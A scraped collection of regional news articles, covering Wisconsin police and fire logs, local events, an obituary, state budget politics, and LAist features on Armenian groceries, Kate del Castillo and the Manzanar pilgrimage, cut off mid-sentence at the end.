Onalaska man was arrested in the 1000 block Terrace Drive and charged with possession of child pornography. April 12 3:23 a.m. A 37-year-old Onalaska man was arrested at Second Avenue North and Locust Street and charged with operating while under the influence, operating with prohibited alcohol concentration and operating without lamps lighted. April 14 2:33 p.m. A 44-year-old Blair man was arrested at Second Avenue North and John Street and charged with operating while under the influence and operating with a prohibited alcohol concentration. April 16 5:49 a.m. A 52-year-old Houston, Minn., man was arrested in the 1000 block of Oak Ave. S. and charged with operating while under the influence, operating with a prohibited alcohol concentration and reckless driving-endangering safety. 7:09 a.m. A 37-year-old La Crosse man was arrested on a warrant and charged with possession of controlled substance and operating without a valid license. Holmen police April 12 A 29-year-old Holmen man was arrested in the N5700 block of County Hwy OT by the La Crosse County Sheriffs deputy and charged with operating while under the influence (third offense). April 13 11:57 p.m. A 26-year-old Onalaska woman was arrested at Main and Roberts streets and charged with operating while under the influence. April 16 12:15 p.m. A Holmen juvenile was cited in the 2900 block of Cedar Avenue South with possession of controlled substances and tobacco. 12:15 p.m.A Rockland juvenile was cited in the 2900 block of Cedar Avenue South with possession of controlled substances and tobacco. 12:19 p.m. A 21-year-old Holmen man was arrested near Hwy. 53 and Riders Club Road and charged with fleeing and eluding an officer, operating motorcycle without valid license, operating with a suspended license (12th) and unreasonable and imprudent speed (2nd). 8:23 p.m. A 38-year-old Taylor man was arrested near State Street and Third Avenue East and charged with operating while under the influence and with a prohibited alcohol concentration, operating left of center, unreasonable and imprudent speed, possession of intoxicants in motor vehicle. Onalaska Fire The Onalaska Area Fire Department responded to 20 EMS calls excluding vehicle accident with injury; a motor vehicle accident with injuries; two gas leaks; an authorized controlled burning; an unintentional alarm system activation, no fire; a false alarm or false call and dispatched and cancelled en route. Holmen Area Fire The Holmen Area Fire Departed responded to 21 EMS calls, a wildfire, a carbon monoxide investigation, two smoke or odor investigations and a water leak investigation. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Onalaska High School won the Wisconsin Land+Waters Envirothon, the top environmental science challenge designed by natural resources professionals and educators. The contest, held at the Wisconsin Lions Camp in Rosholt April 12, is sponsored by the Outdoor Heritage Education Center. Onalaska will represent Wisconsin this summer at the NCF-Envirothon Competition at North Carolina State University in Raleigh July 28-Aug. 2. The Wisconsin challenge tested students in four categories: forestry, soils/land use, aquatic ecology and wildlife. In addition to winning the overall competition, Onalaska won in aquatic ecology and team presentations. Schools from across the state spent a snow-filled spring day at the stations, applying critical thinking and teamwork skills to solve the multiple hands-on challenges. At the forestry station, students identified tree species and measured tree diameters in the woods. The soils and land-use station challenged students to assess the engineering and agronomic properties of soils. Students also identified aquatic invertebrates and invasive plants at the aquatic ecology station, as well as wildlife pelts and tracks at the wildlife station. Additionally, they tested their classroom knowledge on written exams. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Gold fever was an epidemic during the Yukon Gold Rush in the late 19th century. The trials endured by those traveling to the Yukon Territory and Alaska to seek their fortunes were detailed at the Onalaska Area Historical Societys April 16 program. Historian Dick Campbell of Oshkosh related how the lure of the mineral that has been coveted and cherished for millennia drove thousands of people to head north and endure some of the harshest conditions in the world. There was an insane drive to conquer the weather and distance, Campbell said. It caused 100,000 adventurers to leave home and family to voluntarily subject themselves to the conditions. They were victims of the madness. According to Campbells research, prospector George Carmack is credited with setting the spark that ignited the stampede in 1896. He and other miners in the region at the time mined the vein at Bonanza Creek, striking it rich in the Yukon, a northern Canadian province. Few outside the Lake Bennett and Dawson area knew about the find because contact with the outside world was mostly non-existent. However, when the miners traveled by boat to the lower United States in spring of 1897, the word about the gold discovery had preceded them. The gold strike was confirmed and the gold rush was on, Campbell said. A mass lunacy seized the continent. People from all walks of life joined the stampede to the Klondike. A factor in the drive north was the Panic of 1893, a financial downturn that resulted in an economic depression. In addition to those trying to improve their financial situation, Campbell said there were those who still wanted to satisfy their wanderlust. The human morale was in a downward spiral, Campbell said, and adventurers, wanderers and explorers had only Alaska left to explore; it was the last frontier. For many, it wasnt the gold they were after, it was the quest. Many headed for the Yukon and Alaska without knowing where the gold fields were, but the rush resulted in about a dozen routes being created to take the adventurers in-land. Because of the harsh conditions the gold seekers would encounter, the Canadian government required each to outfit themselves with 2,000 pounds of food, gear and supplies, enough to last a person for a year at a cost of about $500. Among the more iconic photos taken of the gold rush was the line of would-be miners climbing single-file up the steep Chilkoot Pass. The continual line of hikers carried 50 to 60 pounds of supplies up the 500-foot slope at a time and then the stampeders would slide down to where the rest of their equipment was stored to do it all again. The supplies didnt include the means to transport them. Many of the horses and dogs used to carry or pull the loads lost their lives along the trails, and more than a few miners succumbed to the rigors of the venture. At last, they realized the path to gold was no easy trail, said Campbell. Some were changed for the worse; others learned nothing worthwhile is easy. According to Campbell, those actually making money in the gold rush were business owners supplying the stampeders and the first miners who found the gold vein. The gold rush towns grew up overnight and then just as quickly became ghost towns when word of discoveries in other parts of the Yukon and Alaska arose and spread. Three gold nuggets found in Alaska during the gold rush were worth $7,000 at the time, but in todays dollars of $1,200 an ounce would be valued at $500,000. Campbell said gold is still mined in Alaska; however, its now done with machinery. Campbells presentation is one of the OAHS free programs held at the Onalaska Public Library the third Tuesday of every month except June, July, August and December. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 McIntosh Memorial Library of Viroqua hosts a bimonthly adult program titled, Conversations. This program is an opportunity for participants to talk about the community, meet people, discover new ideas, and reminisce about the past. The program is held on the first and third Fridays of each month from 10:30-11:30 a.m. at the library. Coffee is provided. Upcoming Conversations program topics include: May 3: During this first program of May participants will be discussing and creating the spring tradition of May Day baskets. May 17: Richland Center based author Harlan Flick will discuss his book One Last Dance with the Dani Tribe. Flick was one of six people to travel to New Guinea in 1980, where he had an opportunity to interact with this tribe. June 7: The first week of June is CPR and AED Awareness Week. Viroqua resident Didi Lindvig and owner of the business 4LIFE with Didi will join the group to talk about the importance of the two life-saving measures. June 21: Summer is the perfect time to enjoy the beautiful birds in the area. During this program participants will focus on bird identification through sound. For more information, call the library at 637-7151. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 VIROQUA Jerome Bud Bakkestuen, 83 of Viroqua passed away Saturday, April 20, 2019, at Bethel Home, surrounded by loved ones. Bud was born in rural Coon Valley, Jan. 6, 1936, to Ingman and Nina (Ottum) Bakkestuen. He married Audrey Johnson at St. Pauls Lutheran Church in La Crosse, Sept. 15, 1956, having celebrated and enjoyed over 62 years of marriage. Together they raised four children, Conny (Paul) Stoikes, Greg (Diane Fortney) Bakkestuen, Judy (Glen) Peterson and Teresa (Gregg) Oldham. Bud grew up on a farm and graduated for the Westby schools. Before graduation he moved to South Dakota and worked on a ranch. He returned to Wisconsin and worked at Lens Citgo in La Crosse. Then he met Audrey and they purchased City Service Gas Station. Bud worked for GTC Motor Parts in La Crosse and later opened/owned and operated a GTC Motor Parts/Car Quest, with Bill Koenen and continued the business for 29 years. Bud drove a school bus for many years for the Viroqua area schools. Through the years, Bud enjoyed fishing, going to movies and traveling with Audrey on trips around the USA. He always made time to visit with his friends at his problem-solving group. Bud is survived by his wife, Audrey; his children; and he was blessed to have 13 grandchildren; 27 great-grandchildren with twins en-route; and one great-great-grandchild. He was preceded in death by his parents; his brother, Cyrus; a sister, Irene Midtlien; his nieces, Kathleen, Lisa and Loretta; and a grandson, Cody George. The family is grateful for the excellent care given to Bud while he was a resident at Bethel Home. Thank You. Friends may call on the family during a visitation from 5 to 7 p.m. Tuesday evening, April 23, at the Vosseteig-Larson Funeral Home in Viroqua, or from 10 to 11 a.m. in the morning Wednesday, before the funeral service for Bud at 11 a.m. again at the funeral home. Pastor Yvonne Marshall from Good Shepherd Lutheran Church will officiate. The Vosseteig-Larson Funeral Home, 123 W. Decker in Viroqua is serving the family. 608-637-2100. To view the obituary in its entirety or to leave online condolences go to www.vossfh.com. The seventh annual Children's Champion Policy Awards were given to State House Speaker Robin Vos and Reps. Steve Doyle and Patrick Snyder on April 17 at the State Capitol as part of Wisconsin Hospital Associations annual Advocacy Day. The awards were presented by Michelle Mettner, corporate vice president of government and legal affairs at Childrens Hospital of Wisconsin, and Jodi Bloch, director of state and local relations at Childrens Hospital of Wisconsin. The award honors public policy leaders in Wisconsin who work to positively impact the lives of Wisconsin children and families by moving children's health policy forward. The recipients lead the bipartisan Speaker's Task Force on Foster Care during the last legislative session, and the Children's Hospital looks forward to continuing the collaboration in the future. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Amid reservations, government bent on amending Human Rights Act Despite serious reservations from the constitutional rights watchdog, the government looks bent on forwarding the bill to amend the National Human Rights Commission Act-2012, some provisions of which human rights defenders say undermine the commissions authority. Two top Republicans on Thursday said they wont consider Democratic Gov. Tony Evers budget proposal to decriminalize small amounts of marijuana and legalize it for medical use. It will not be in the final budget passed, said Rep. John Nygren, R-Marinette, co-chairman of the states powerful Joint Finance Committee, which is tasked with crafting the state budget that will require Evers signature. The comments from Nygren and JFC co-chairwoman Sen. Alberta Darling, R-River Hills, at a WisPolitics.com luncheon eradicate the chances the governors sweeping cannabis proposal in the state budget will become law anytime soon. When you read what he actually has in his budget, its really off-the-wall scary, Darling said. Evers plan would enable people to legally access the drug with a physicians recommendation to treat a list of debilitating medical conditions, including cancer, post-traumatic stress disorder and chronic pain. Other parts of the governors plan call for removing all penalties for the possession, manufacture or distribution of 25 grams or less of marijuana, and allowing people convicted of possessing small amounts of marijuana to have their records expunged. Evers spokeswoman Melissa Baldauff in an email pushed back against the comments from the JFC leaders, arguing Wisconsinites overwhelmingly agree with Evers proposal. What is scary is Republicans complete and total disregard for the will of the people, she said. The latest Marquette Law School Poll, released April 10, found 59% of registered voters believe marijuana use should be legal, while 83% say it should be legal for medical purposes with a doctors prescription. Nygren said Republicans plan to pass their version of the budget by the end of June. Nygren said neither the medical nor decriminalization aspect of Evers proposal will make it into the budget that the Republicans pass. But he left the door open for a plan to legalize medical marijuana with a doctors prescription after the budget process plays out. Assembly Speaker Robin Vos, R-Rochester, who has been open to medical marijuana, in February called Evers plan preposterous for opening the door to recreational use. Meanwhile, the JFC leaders are split on whether to take up Evers proposal to tax e-cigarettes and vaping products the same way as tobacco products. The plan would impose a 71% tax on such products. Darling said shes not interested in taking up that issue in the budget, although she said the issue should be taken up at some point. Nygren, however, said the governors proposal is still on the table. That will be something that well have to arm wrestle on, Nygren said, adding that a 71% tax may be too high. He said hed be interested in exploring a tax structure for such products based on the amount of nicotine they contain. Foxconn update A day after Evers in a public letter suggested electronics maker Foxconn first suggested revisiting its $3 billion state incentive deal to reflect the companys evolving project in Wisconsin, Alan Yeung, the companys director for U.S. strategic initiatives, took to social media to suggest no one knows whether the company will fulfill its commitment to create 13,000 jobs in Wisconsin by 2032. Calm down, Yeung wrote. Probably fake news. Who has the crystal ball to predict if 13,000 jobs will be created by the year 2032? Esp in April 19. Nygren on Thursday referenced the tweet in criticizing the Evers administration for aggressively attacking a company that wants to invest in Wisconsin. He said he took the tweet to mean a lot can happen between now and 2032, but that he still believes the company stands by its commitment to create 13,000 jobs in the state. Evers last week said Foxconn is unlikely to employ 13,000 workers and said the states deal with the company may need to be downsized as a result. Nygren suggested that since the state would dole out the majority of tax credits only if the company created jobs, theres no need to renegotiate the contract. Love 1 Funny 0 Wow 0 Sad 0 Angry 3 A misunderstanding last week pushed La Crosse police and La Crosse County Jail staff to work together to improve the new body scanner amnesty program. Police arrested Christopher Malone of Chicago for a no-alcohol probation violation April 19 and discovered 0.7 grams of marijuana and three e-cigarettes containing traces of THC, according to the police report. Police arrested him on charges of a probation hold, two counts of bail jumping, possession of THC and possession of cocaine, according to the complaint. A deputy offered Malone amnesty at the La Crosse County Jail, and Malone surrendered 4 to 5 small bags of cocaine hidden in his underwear, according to the complaint. La Crosse police objected because Malone has felony bonds for possession of drugs with intent to deliver and was already found with drugs during the arrest, but Malone said, They already offered me no charges if I give them up, according to the police report. A jail sergeant said he would have to honor the amnesty since it was already offered, according to the complaint. Sheriff Jeff Wolf introduced the amnesty program in February during the body scanner unveiling. The scanner was introduced as a tool to help decrease the amount of contraband smuggled into jail. Amnesty would be given if the arresting agency and the arresting officer are agreeable, Wolf said, during the unveiling. There was a timing issue when amnesty was offered, Wolf said, regarding last weeks incident. In this case, the body scanner worked exactly like it was designed to do. Drugs were prevented from coming into the jail, which protects the inmates from harm and La Crosse County from liability, he said. The police department understands and agrees that keeping drugs out of the jail is important and the investment in the scanner is a great idea, Rob Abraham, assistant chief of police, said. Things didnt go as planned, but we are happy the Sheriffs Department has reached out to us to develop processes to prevent similar situations from happening again and allowing our staff to hold people accountable for their actions. Wolf reiterated Abrahams commitment to continue to work with law enforcement agencies in La Crosse County to update procedures ... not only (to) prevent contraband from coming into the jail but to assist law enforcement in their investigations as well. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe From Granada Hills to Montebello, the tastes of the Armenian diaspora are spread across L.A. County. The ethnic group's ties to Southern California date to the early 20th century, when massacres and the Armenian Genocide swept through the Ottoman Empire. An estimated 1.5 million people were killed during the Genocide of 1915 and tens of thousands of survivors were forced to flee their homeland, most of which is located in present-day Turkey. Decades later, Armenians displaced by World War II followed in those footsteps and migrated to the United States. Others, from across the Middle East and the Caucasus, came to Southern California in the mid and late 20th century, driven by upheaval Lebanon's civil war, the Iranian Revolution, the collapse of the Soviet Union. Today, more than 214,000 Armenians live in Los Angeles County, the largest concentration of the ethnic group anywhere except Armenia. Super King market in Glassell Park. (Chava Sanchez/LAist) The result is an Armenian population that's vast and diverse. Need proof? Scan the aisles of one of SoCal's many mom-and-pop Armenian markets or visit international grocery chains like Jons and Super King, both of which were founded by Armenians. You'll find foods and spices emanating from the Caucasus and the Middle East. They include imported goods and items made in the U.S., all catering to the ethnic groups that call these regions home. Armenians are indigenous to an area that borders or overlaps with the homes of several other ethnic groups including Greeks, Assyrians, Arabs and Persians. The post-Genocide diaspora led to flourishing Armenian communities in various Middle Eastern countries, extending a cultural exchange that has existed since antiquity into the present day. The result? A cornucopia of Armenian products at local markets. Don't get overwhelmed by all the deliciousness. Take a few tips and shop these markets like a pro. An Armenian woman makes traditional unleavened flatbread, lavash, during a lavash festival in the village of Pokr Vedi, south of Yerevan, near the Ararat mountain, on August 23, 2015. (KAREN MINASYAN/AFP/Getty Images) Lavash There are a number of breads that turn up on Armenian tables. The most common and culturally significant is lavash. The flatbread was added to UNESCO's Representative List of the Intangible Cultural Heritage of Humanity in 2014. Its traditional production is a community effort where multiple generations of women prepare the dough while men build and tend the tonir (an oven similar to a tandoor). At L.A. markets, lavash often comes from local bakeries and can be found in a couple different forms. You might see long, soft sheets folded and bundled together in bags or you might spot large, dry pieces packaged together. The soft kind is better for wrap-style sandwiches but the dry lavash is good with dips and will soften if you drizzle water on it. String cheese (plain, top and with caraway seeds, bottom) from Super King market in Glassell Park. (Chava Sanchez/LAist) String Cheese and Lori Cheese Armenians love their string cheese. In Armenian cuisine, it's often part of the mezze (appetizer) spread. The cheese, different from typical American, mozzarella-based string cheese, can come with or without caraway seeds, and most Armenian markets carry a few different brands. My favorite is from Karoun because the braided chunks can be unwound into thicker pieces that work well in wraps. Founded in L.A. by an Armenian family, the company produces their cheese at a plant in Turlock. Lori cheese, which is less famous in the U.S., is a pale, yellow cheese named for the Armenian province where it originates. It may look like havarti but it tastes much different. Lori cheese has a light saltiness that kicks in after your first bite. You can nibble on it plain but it also pairs well with lavash and fresh herbs such as parsley or dill. It's not as ubiquitous as string cheese, but Lori cheese is worth seeking out. You probably won't find it pre-packaged in the dairy section. Whether you're at a large store, like Super King, or a small shop, like Hye Market, look for it at the deli counter. Fruit leather from Super King market in Glassell Park. (Chava Sanchez/LAist) Fruit Leather The strips of fruit leather (aka fruit rolls) you'll find in Armenian markets are nothing like the Fruit Roll-Ups peddled to American children. These are thick pastes and rolls that are often too big to stick into a kid's lunchbox. Also, they're not nearly as sweet. One of my favorites is labeled Dried Apricot Paste and wrapped in orange cellophane. It's made in Syria but often found in smaller, L.A.-area Armenian markets like Garo's Basturma in Pasadena. There are also fruit rolls stuffed with walnuts. U.S.-based company Oshakan calls their treat soujukh. These vegan-friendly, sausage-shaped rolls made with grape molasses are often found near the register at spots like Armen Market in Glendale. Yogurt drinks at Super King market in Glassell Park. (Chava Sanchez/LAist) Tahn Yogurt drinks are common in the Middle East, the Caucasus and the Indian subcontinent. Armenians call the drink tahn. It's typically plain yogurt maybe with a sprig of mint. It's definitely an acquired taste and I'm not a huge fan but plenty of people are enough that bottles of tahn are a common sight, either in the everything-yogurt-related section at big markets or next to soft drinks in the refrigerated cases at smaller ones. You'll typically find small bottles of plain yogurt drinks. Karoun also makes a mint-flavored one that turns up at some spots. Eggplant spread, often labeled "eggplant caviar," from Super King in Glassell Park. (Chava Sanchez/LAist) Eggplant Caviar Don't be confused by jars labeled "eggplant caviar." This is a plant-based spread, popular with Russians and Armenians. Like babaganoush, it's derived from eggplant and works well as a dip. The mix of vegetables in eggplant caviar usually features red peppers, which gives it a red tinge. The spread can be spicy, so check the label. Nazook and gata, two Armenian pastries, at Super King Market in Glassell Park. (Chava Sanchez/LAist) Nazook and Gata I could write a separate list focusing solely on Armenian cakes, cookies and pastries but I'll stick to two of the most beloved and easy-to-find desserts. Nazook is a rolled pastry, similar in size to a cookie, with a filling that often includes walnuts. Gata comes in a few different forms. Sometimes, it's a rolled pastry with or without filling that is indistinguishable from nazook. Other times, gata manifests in a larger, oval or round form that can be broken up and shared at the table. Neither is exceptionally sweet and both go well with coffee. Potato salad from Super King market in Glassell Park. (Chava Sanchez/LAist) Armenian Potato Salad One of my all time Super King favorites is Armenian potato salad. The most obvious difference between this picnic-friendly side dish and its American cousin is the lack of mayonnaise. With olive oil as the base for the dressing, the Armenian version focuses on the herbs and spices. At the Super King in Glassell Park, you'll find this in a blink-and-you'll-miss-it section of prepared foods located near the bakery. The tubs are small (and inexpensive) but the taste is big and a single tub is enough for multiple meals for two people. A man reaches for lahmajoun, thinly baked pastries topped with minced meat and herbs, outside a bakery in the northern Syrian city of Afrin. (GEORGE OURFALIAN/AFP/Getty Images) Lahmajune It's sometimes called Armenian pizza but the only similarity between lahmajune (also spelled lahmajoun) and the beloved Italian pie is the basic concept of layering stuff onto dough. Lahmajune relies on a thin dough about the size of a tortilla. It's topped with ground beef or lamb and a mixture of spices. Avo's Bakery is the Burbank-based brand that you'll find in many markets. The company also makes a vegetarian version of the snack. Soujouk (sausage) and basturma (cured, air-dried beef) from Super King market in Glassell Park. (Chava Sanchez/LAist) Basturma A cured meat known for its intense garlic-and-spice smell, basturma is an Armenian favorite. It can be eaten a few different ways. Sometimes, you'll find it served as an appetizer alongside lavash and string cheese. At breakfast, it's incorporated into egg dishes. Larger groceries like Super King and Jons tend to have basturma in the deli section. You'll also find it at many smaller Armenian grocers. Garo's Basturma in Pasadena is famous for its housemade version. On a recent trip to the shop, almost all of the customers were ordering a batch. I prefer a lean cut, which I brought to my mother's house for Easter dinner, and it earned the seal of approval. Super King market in Glassell Park. (Chava Sanchez/LAist) Soujouk Like basturma, soujouk is a dried sausage that can be served as a flavorful counterpoint to egg dishes or as the star of a sandwich. Sahag's Basturma, a small market in East Hollywood, serves a delicious soujouk sandwich. The sausage is sliced and pressed inside a roll with minimal embellishments to enhance the spiciness of the meat. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe By Andrea Gutierrez with John Horn The telenovela that catapulted Kate del Castillo to international fame in 2011 -- La Reina del Sur -- is back for a new season this week, and after three years of living in exile in Los Angeles, she finally feels safe to return home to Mexico again. "I'm happy I'm alive," she told The Frame. "It changed -- in so many ways -- my life. Yes, I'm stronger, but also I am much more vulnerable." She's talking about her fateful 2015 meeting between her, actor Sean Penn, and Mexican drug lord Joaquin Guzman Loera -- aka El Chapo. According to Netflix documentary The Day I Met El Chapo (del Castillo is credited as an executive producer), her texts with El Chapo were leaked to the press, and the Mexican government investigated her for money laundering -- accusations she maintains were unfounded and likely stemmed from the government's embarrassment about El Chapo's jail escape and recapture. Fearing arrest in Mexico, she retreated to her home in Los Angeles to wait out the storm. In a case of art imitating life imitating art, del Castillo has played women on the run in both La Reina del Sur and Netflix's Ingobernable. But she insists it's entirely coincidental. She signed on for Netflix's Ingobernable in 2015 -- she plays Mexico's First Lady, who goes on the run after being framed for her husband's murder -- before she met El Chapo, and before she fled her home country. Though Ingobernable takes place in Mexico, she filmed her scenes in California while a body double took her place on location in Mexico. She did the same for Mexico-based scenes in the news season of La Reina del Sur. The revival of La Reina del Sur -- this time with English subtitles -- comes after she returned home to Mexico for Christmas following the election of a new president. Del Castillo first came to Hollywood in the early 2000s after becoming famous in Mexico for her starring roles in popular telenovelas like Muchachitas and La Mentira. But even she has to push back against typecasting -- especially as she's attempted to move beyond telenovelas. "I've been here for 19 years," she said, "and I'm still struggling to to get the roles that I want to get. And not only that, but that they're not stereotyped." She has often be told to darken her hair to appear "more Latina." "You cannot put us, all of the Latinas, in one can," she said. "You need to learn about diversity and about salvadorenos, ecuatorianos, puertorriquenos, cubanos, mexicanos, you know?" So what appeals to del Castillo about playing badass characters? She thinks that maybe it's her own character. "Silence is so dangerous," she said. "People see a character like that, and they want to be like them, because you can literally say what you think, you can do what you want, you can fight for what you want, and still not be dead." La Reina del Sur airs weeknights on Telemundo. Editor's note: A version of this story was also on KPCC's The Frame. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe When Jim Matsuoka was asked to join the first pilgrimage from Los Angeles to the site of the Manzanar camp in 1969, he laughed bitterly. He was just 7 years old in 1942, when he and his family were forced to move to the dusty camp in the Owens Valley, part of the mass incarceration of Japanese-Americans during World War II that left him with ugly memories -- barbed wire, armed guards, searchlights, the school worker who talked to kids as if Pearl Harbor was their fault. "Hell, I was already there for three-and-a-half years, I don't need anymore," he said. But Matsuoka did go, reluctantly, and only out of solidarity with other Japanese American activists who wanted to take a stand on civil rights. Fifty years later, the pilgrimage has become an annual tradition -- something bigger than he and the other 150 original participants could have imagined. Some 1,900 people traveled to Manzanar Saturday to mark the 50th anniversary of the pilgrimage, according to Yuki Buday, a ranger with the National Park Service. About 150 or so people attended the first pilgrimage to Manzanar in 1969. (Evan Johnson Collection/National Park Service photo) Today Im in Manzanar, where 10,000-plus people of Japanese descent were incarcerated during WWII. Its the 50th anniversary of the pilgrimage to this dusty stretch of desert in the Owens Valley, a chance to remember and to protest. pic.twitter.com/RcpkTvyw9e Josie Huang (@josie_huang) April 27, 2019 Banners here bear the name of the 10 camps where more than 110,000 Japanese American citizens and nationals mostly from the West Coast were incarcerated... Manzanar...Crystal City...Tule Lake... pic.twitter.com/QMd6c3ozNE Josie Huang (@josie_huang) April 27, 2019 At Manzanar, Nihad Awad, co-founder of @CAIRNational, and other Muslim Americans thanked the Japanese Am community and said an attack on one community is an attack on all of us pic.twitter.com/WyMrRVMs9U Josie Huang (@josie_huang) April 27, 2019 The event's appeal has only broadened since President Trump entered office. Many participants see White House policies on immigrants and refugees as driven by the same xenophobia and fear-mongering that led to the incarceration of more than 110,000 people of Japanese descent in the 1940s. "If we could go to Manzanar and just celebrate the contributions and remember the sacrifices that our community made, it would be wonderful," said Bruce Embrey, co-chair of the Manzanar Committee. "But we can't because [now] we're more relevant than we care to be." Turnout is especially high this year because its a milestone anniversary and also because of Trump and his policies on immigrants and refugees, the family separations at the border, have all created urgency pic.twitter.com/oT09442EDz Josie Huang (@josie_huang) April 27, 2019 Its the first time to Manzanar for UCLA junior Rino Kodoma, who said her hs history teacher glossed over internment camps & for attorney Mia Yamamoto of KTown who was born in an internment camp in Ariz pic.twitter.com/P6llQRkNuM Josie Huang (@josie_huang) April 27, 2019 Mariko Lockharts mom, aunt and grandma were sent from LA to Manzanar and never wanted to talk about the experience. Theyre all gone now. Shes going to Manzanar to find answers. pic.twitter.com/gkrgKCm0vk Josie Huang (@josie_huang) April 27, 2019 Embrey's mother, the late Sue Kunitomi Embrey, co-founded the Manzanar Committee not only to raise awareness about what happened to Japanese-Americans like herself -- she was incarcerated at the camp, one of 10 in the country -- but to draw attention to the struggle all kinds of people face when their constitutional rights are challenged. Members of the L.A.-based Vigilant Love participate in the 2017 pilgrimage to Manzanar. (Gann Matsuda/Manzanar Committee) Muslim-Americans started joining the pilgrimage after the Sept. 11 terrorist attacks, and found eager allies in the Japanese-American community, who've supported them through threats of a Muslim registry and travel bans. Muslim Americans at Manzanar hold afternoon prayers as Odori, traditional Japanese dance music blares pic.twitter.com/kJcslxp00C Josie Huang (@josie_huang) April 27, 2019 The L.A.-based group Vigilant Love, a grassroots organization fighting Islamophobia, chartered two buses for the four-hour-long trip to Manzanar, which is sandwiched roughly between Sequoia National Park and Death Valley. Traci Ishigo, co-chair of Vigilant Love, said going to Manzanar offers a visceral understanding of incarcerated life to younger generations. The six times she has made the trek, the elements in the high desert have been harsh: sometimes cold, other times windy or hot. "It's almost a relief to know that at the end of the day, I'm going home," Ishigo, 28, said. "I can't fully appreciate what it meant to not be able to leave." Thousands of Japanese-Americans were forcefully relocated to sparse barracks like this one at Manzanar during World War II. (National Park Service) Saturday's programming featured an interfaith service at the cemetery and a speeches by activists such as Dale Minami, the attorney who worked on a landmark case to overturn the conviction against the late Fred Korematsu, who had refused to be incarcerated during the war. Matsuoka, who was honored for his activism at the event, gave a tour to members of Vigilant Love. "When people ask me how many people are buried there, I say a whole generation of people who [were]afraid to speak up, who walked away beaten," Matsuoka, 83, said. Japanese-Americans wait for their housing assignments at Manzanar. (AP) After that first pilgrimage in 1969, Matsuoka and his fellow activists got backlash from some members of the Japanese-American community for drawing attention to a chapter of American history they said they'd rather bury. But Matsuoka said he couldn't sit quietly after witnessing the psychological and economic damage that mass incarceration had inflicted on his community. Many Japanese-American families, mostly from the West Coast, lost their farms and businesses because of forced relocation. His own father was never able to find steady work again -- Matsuoka regularly saw him at the unemployment agency -- and the family's survival depended on the earnings brought in by his two older sisters, who worked as nurse's aides after the war. And then there were the reminders of how others saw them as un-American, even after the war. "So we pull into the L.A. bus terminal from Manzanar, and some bastard is out there banging on the side of the bus, saying 'You Japs, go back!'" Matsuoka recalled. Jim Matsuoka, who was incarcerated as a child at Manzanar, helped lead the redress movement that resulted in a government apology and reparations. (Josie Huang/KPCC) Matsuoka worked with activists like Sue Kunitomi Embrey and Warren Furutani (who later became a state assemblymember) to get the U.S. government to recognize the historical significance of the camp. It became a national historic site in 1992. Matsuoka also helped lead a redress movement that resulted in a government apology in 1988 and $20,000 in compensation to each survivor of the camp. As slow as the government was to make amends, Embrey said that it's still worth recognizing. "Our story is a cautionary one but also a hopeful one, in that it shows we are capable of righting wrongs no matter how severe or horrific," Embrey said. For Matsuoka, there are plenty of horrific things still happening in this country. He feels a special bond with the immigrant children who were separated from their families at the southern border and are now in government custody. They remind him of his 7-year-old self living in the barracks of Manzanar, and being made to feel "we're here because we were bad people." "They're never going to be right," Matsuoka said of the immigrant children. "It's going to be with them all their lives." UPDATES: April 27, 2:02 p.m.: This article was updated with information about the event at Manzanar. As government recalls envoy to Qatar, six of Nepals foreign missions are now without ambassadors With the government decision to recall Nepals Ambassador to Qatar Ramesh Koirala, six Nepali diplomatic missions have been without their chiefs from Thursday. Charles R. Drew and L.A. County Collaborate on a New Psychiatry Residency Program The Charles R. Drew University of Medicine and Science (CDU) and the County of Los Angeles Department of Health Services have collaborated on an innovative medical residency program designed to address one of the most important yet under the radar issues affecting south Los Angeles residents: effective culturally-appropriate mental health treatment. The initiative was sponsored by 2ndDistrict Supervisor Mark Ridley-Thomas and 4thDistrict Supervisor Janice Hahn. The program launched in the Summer of 2018. According to Dr. Deborah Prothrow-Stith, Dean of the CDU College of Medicine, this initiative is timely and in alignment with the Universitys mission of bringing the highest quality of services to the areas underserved residents. The areas physician shortage got a lot worse after the hospital was closed in 2007. The County and CDU have made a significant investment in restarting this medical residency program, she noted. ADVERTISEMENT Service Planning Area (SPA) 6, a wide swath of county territory of one million-plus people that reaches from Inglewood to Paramount and includes South Los Angeles, is the primary service area. Kedren Community Mental Health Center and Acute Psychiatric Hospital in South Los Angeles is the primary Psychiatry Residency site. The Psychiatry Residency program represents an important step forward, according to Dr. Prothrow-Stith. We have the opportunity to train health care leaders who are from this community, to serve this community. We know from experience that when you train as a medical resident in a particular service area, it is highly likely that you will stay and practice in that area. All six of the current first-year Psychiatry Residents are persons of color. They have either been raised and educated in the local area or attended medical schools that have a specialization offering aspiring physicians the opportunity to train and work in underserved communities. Kedrens role as the primary training and clinical site is central to the residency program. The facility is a federally qualified health center that also features a primary care medical rotation. The Residents train and practice in an array of inpatient and outpatient services. Secondary site Rancho Los Amigos in Downey offers neurology services. The Harbor UCLA facility offers emergency services. CDU provides a unique, culturally competent approach to medical education that is now being adopted at other topflight medical schools. This approachoffers a patient centered team based approach to the health care of under-resourced patients; trauma-informed assessment and care; an emphasis on community violence as a public health problem; incorporating socio-environmental determinants of health, illness, and health disparities; assessing the health needs and resources of immigrant communities, proactively responding to the healthcare needs of jail and transitioning populations; and a commitment to the healthcare of homeless youth, adults and families. Side by side with this unique focus on cultural competency, the CDU graduate medical education programs operate under the rigorous scrutiny of the Accreditation Council for Graduate Medical Education (ACGME). According to Dr. Prothrow-Stith, The ACGME accreditation is our lifeblood. We would not be able to attract talented physicians for training without it. ADVERTISEMENT According to Dr. Denese Shervington, 